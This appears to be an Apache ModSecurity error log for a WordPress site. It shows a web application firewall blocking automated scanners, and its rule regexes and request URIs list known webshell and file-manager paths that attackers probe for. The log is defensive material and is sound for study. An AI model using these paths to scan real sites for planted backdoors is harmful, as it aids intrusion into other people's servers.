[Thu Apr 23 05:37:24.386363 2026] [:error] [pid 43083:tid 43107] [client 51.107.217.123:37312] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admlo.php"] [unique_id "aek_lDC5hrvNXosL83KFHQAAANY"]
[Thu Apr 23 05:37:26.587306 2026] [:error] [pid 25635:tid 25647] [client 51.107.217.123:32664] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admlo.php"] [unique_id "aek_lsRxv6UsgRGKB3KRKwAAAQg"]
[Thu Apr 23 05:37:28.798140 2026] [:error] [pid 43083:tid 43106] [client 51.107.217.123:21187] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admlo.php"] [unique_id "aek_mDC5hrvNXosL83KFLwAAANU"]
[Thu Apr 23 05:37:30.255034 2026] [:error] [pid 25635:tid 25639] [client 51.107.217.123:19975] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gcqoa.php"] [unique_id "aek_msRxv6UsgRGKB3KRNAAAAQA"]
[Thu Apr 23 05:37:35.779753 2026] [:error] [pid 43083:tid 43106] [client 51.107.217.123:32644] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gcqoa.php"] [unique_id "aek_nzC5hrvNXosL83KFRAAAANU"]
[Thu Apr 23 05:37:38.148319 2026] [:error] [pid 43083:tid 43090] [client 51.107.217.123:2681] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gcqoa.php"] [unique_id "aek_ojC5hrvNXosL83KFSgAAAMU"]
[Thu Apr 23 05:37:38.981369 2026] [:error] [pid 25635:tid 25650] [client 51.107.217.123:25806] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gcqoa.php"] [unique_id "aek_osRxv6UsgRGKB3KRWgAAAQs"]
[Thu Apr 23 05:37:40.692785 2026] [:error] [pid 25635:tid 25640] [client 51.107.217.123:33379] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "aek_pMRxv6UsgRGKB3KRaAAAAQE"]
[Thu Apr 23 05:37:43.223263 2026] [:error] [pid 43083:tid 43092] [client 51.107.217.123:20009] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "aek_pzC5hrvNXosL83KFUQAAAMc"]
[Thu Apr 23 05:37:45.660445 2026] [:error] [pid 25635:tid 25654] [client 51.107.217.123:19972] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "aek_qcRxv6UsgRGKB3KRiAAAAQ8"]
[Thu Apr 23 05:37:47.637947 2026] [:error] [pid 25635:tid 25644] [client 51.107.217.123:27314] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "aek_q8Rxv6UsgRGKB3KRmQAAAQU"]
[Thu Apr 23 05:38:10.286618 2026] [:error] [pid 25635:tid 25656] [client 51.107.217.123:26417] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aek_wsRxv6UsgRGKB3KRsAAAARE"]
[Thu Apr 23 05:38:11.945979 2026] [:error] [pid 25635:tid 25645] [client 51.107.217.123:35048] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aek_w8Rxv6UsgRGKB3KRtwAAAQY"]
[Thu Apr 23 05:56:08.016845 2026] [:error] [pid 25635:tid 25661] [client 24.77.77.1:13278] [client 24.77.77.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 24.77.77.1, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aelD-MRxv6UsgRGKB3KaawAAARY"]
[Thu Apr 23 06:10:40.616149 2026] [:error] [pid 42973:tid 43063] [client 43.167.157.80:58998] [client 43.167.157.80] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aelHYG6I0QqmmmLTHE2n2AAAAJQ"]
[Thu Apr 23 06:41:49.549716 2026] [:error] [pid 42973:tid 43063] [client 20.199.125.132:10554] [client 20.199.125.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/edit.php"] [unique_id "aelOrW6I0QqmmmLTHE2xtAAAAJQ"]
[Thu Apr 23 06:41:50.641268 2026] [:error] [pid 43083:tid 43091] [client 20.199.125.132:11991] [client 20.199.125.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/edit.php"] [unique_id "aelOrjC5hrvNXosL83Ke6AAAAMY"]
[Thu Apr 23 06:41:51.626904 2026] [:error] [pid 42973:tid 43044] [client 20.199.125.132:11715] [client 20.199.125.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/edit.php"] [unique_id "aelOr26I0QqmmmLTHE2xtwAAAIE"]
[Thu Apr 23 06:41:52.754198 2026] [:error] [pid 43083:tid 43101] [client 20.199.125.132:2638] [client 20.199.125.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/edit.php"] [unique_id "aelOsDC5hrvNXosL83Ke7wAAANA"]
[Thu Apr 23 06:41:53.047268 2026] [:error] [pid 42971:tid 42993] [client 20.199.125.132:15194] [client 20.199.125.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aelOsTEP2_5RswrH8bGDyAAAAAc"]
[Thu Apr 23 06:41:53.547456 2026] [:error] [pid 42971:tid 43007] [client 20.199.125.132:15224] [client 20.199.125.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aelOsTEP2_5RswrH8bGDyQAAABU"]
[Thu Apr 23 06:41:54.045360 2026] [:error] [pid 25635:tid 25653] [client 20.199.125.132:14263] [client 20.199.125.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aelOssRxv6UsgRGKB3K1GQAAAQ4"]
[Thu Apr 23 06:41:54.544912 2026] [:error] [pid 25635:tid 25639] [client 20.199.125.132:11700] [client 20.199.125.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aelOssRxv6UsgRGKB3K1HAAAAQA"]
[Thu Apr 23 06:41:55.047792 2026] [:error] [pid 42973:tid 43047] [client 20.199.125.132:14237] [client 20.199.125.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/system_log.php"] [unique_id "aelOs26I0QqmmmLTHE2xuwAAAIQ"]
[Thu Apr 23 06:41:55.520942 2026] [:error] [pid 42972:tid 43019] [client 20.199.125.132:15182] [client 20.199.125.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/system_log.php"] [unique_id "aelOs8OAb-3sOknsk4f5iAAAAEM"]
[Thu Apr 23 06:41:55.994491 2026] [:error] [pid 42973:tid 43051] [client 20.199.125.132:11087] [client 20.199.125.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/system_log.php"] [unique_id "aelOs26I0QqmmmLTHE2xvAAAAIg"]
[Thu Apr 23 06:41:56.470201 2026] [:error] [pid 42971:tid 43005] [client 20.199.125.132:14221] [client 20.199.125.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/system_log.php"] [unique_id "aelOtDEP2_5RswrH8bGDygAAABM"]
[Thu Apr 23 06:41:56.943318 2026] [:error] [pid 42973:tid 43055] [client 20.199.125.132:15178] [client 20.199.125.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aelOtG6I0QqmmmLTHE2xvQAAAIw"]
[Thu Apr 23 06:41:57.445775 2026] [:error] [pid 25635:tid 25650] [client 20.199.125.132:11692] [client 20.199.125.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aelOtcRxv6UsgRGKB3K1JAAAAQs"]
[Thu Apr 23 06:41:57.945016 2026] [:error] [pid 25635:tid 25663] [client 20.199.125.132:11114] [client 20.199.125.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aelOtcRxv6UsgRGKB3K1JwAAARg"]
[Thu Apr 23 07:13:45.297620 2026] [:error] [pid 42973:tid 43055] [client 89.251.0.143:64647] [client 89.251.0.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aelWKW6I0QqmmmLTHE2-JAAAAIw"]
[Thu Apr 23 07:13:46.936647 2026] [:error] [pid 42973:tid 43067] [client 89.251.0.143:47131] [client 89.251.0.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aelWKm6I0QqmmmLTHE2-RwAAAJg"]
[Thu Apr 23 07:13:49.871761 2026] [:error] [pid 42972:tid 43017] [client 89.251.0.128:59691] [client 89.251.0.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aelWLcOAb-3sOknsk4cA6QAAAEE"]
[Thu Apr 23 07:13:51.655424 2026] [:error] [pid 43083:tid 43102] [client 89.251.0.131:21599] [client 89.251.0.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aelWLzC5hrvNXosL83KoTgAAANE"]
[Thu Apr 23 07:13:54.271399 2026] [:error] [pid 42973:tid 43066] [client 89.251.0.151:58271] [client 89.251.0.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aelWMm6I0QqmmmLTHE2-jwAAAJc"]
[Thu Apr 23 07:13:55.767380 2026] [:error] [pid 43083:tid 43087] [client 89.251.0.143:63005] [client 89.251.0.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aelWMzC5hrvNXosL83KoWgAAAMI"]
[Thu Apr 23 07:13:56.418173 2026] [:error] [pid 59700:tid 59710] [client 89.251.0.139:45695] [client 89.251.0.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aelWNJXyGZJFeAIDWtk5iwAAAUg"]
[Thu Apr 23 07:13:58.052894 2026] [:error] [pid 59700:tid 59719] [client 89.251.0.117:26423] [client 89.251.0.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aelWNpXyGZJFeAIDWtk5uAAAAVE"]
[Thu Apr 23 07:13:58.754788 2026] [:error] [pid 25635:tid 25655] [client 89.251.0.127:43767] [client 89.251.0.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aelWNsRxv6UsgRGKB3LGigAAARA"]
[Thu Apr 23 07:13:59.545620 2026] [:error] [pid 59700:tid 59708] [client 89.251.0.143:29063] [client 89.251.0.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aelWN5XyGZJFeAIDWtk51AAAAUY"]
[Thu Apr 23 07:14:00.507922 2026] [:error] [pid 59700:tid 59715] [client 89.251.0.151:33781] [client 89.251.0.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aelWOJXyGZJFeAIDWtk55gAAAU0"]
[Thu Apr 23 07:14:03.476764 2026] [:error] [pid 42972:tid 43036] [client 89.251.0.124:46905] [client 89.251.0.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aelWO8OAb-3sOknsk4cBXQAAAFQ"]
[Thu Apr 23 07:14:05.233019 2026] [:error] [pid 43083:tid 43087] [client 89.251.0.150:38523] [client 89.251.0.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aelWPTC5hrvNXosL83KosAAAAMI"]
[Thu Apr 23 07:14:06.253522 2026] [:error] [pid 42971:tid 42998] [client 89.251.0.115:57223] [client 89.251.0.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aelWPjEP2_5RswrH8bGJfQAAAAw"]
[Thu Apr 23 07:14:07.299910 2026] [:error] [pid 59700:tid 59721] [client 89.251.0.140:30499] [client 89.251.0.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aelWP5XyGZJFeAIDWtk6MgAAAVM"]
[Thu Apr 23 07:14:09.968470 2026] [:error] [pid 42973:tid 43064] [client 89.251.0.125:30371] [client 89.251.0.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aelWQW6I0QqmmmLTHE2-_QAAAJU"]
[Thu Apr 23 07:14:10.959678 2026] [:error] [pid 42973:tid 43056] [client 89.251.0.136:57141] [client 89.251.0.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aelWQm6I0QqmmmLTHE2_BwAAAI0"]
[Thu Apr 23 07:14:12.180457 2026] [:error] [pid 42971:tid 42994] [client 89.251.0.137:35243] [client 89.251.0.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aelWRDEP2_5RswrH8bGJnAAAAAg"]
[Thu Apr 23 07:14:16.513110 2026] [:error] [pid 42972:tid 43029] [client 89.251.0.126:25873] [client 89.251.0.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aelWSMOAb-3sOknsk4cCAAAAAE0"]
[Thu Apr 23 07:14:19.660849 2026] [:error] [pid 42971:tid 43003] [client 89.251.0.146:55151] [client 89.251.0.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aelWSzEP2_5RswrH8bGJ8gAAABE"]
[Thu Apr 23 07:14:20.620974 2026] [:error] [pid 42971:tid 43005] [client 89.251.0.115:39315] [client 89.251.0.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aelWTDEP2_5RswrH8bGJ-wAAABM"]
[Thu Apr 23 07:14:21.662523 2026] [:error] [pid 59700:tid 59710] [client 89.251.0.120:37085] [client 89.251.0.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aelWTZXyGZJFeAIDWtk62QAAAUg"]
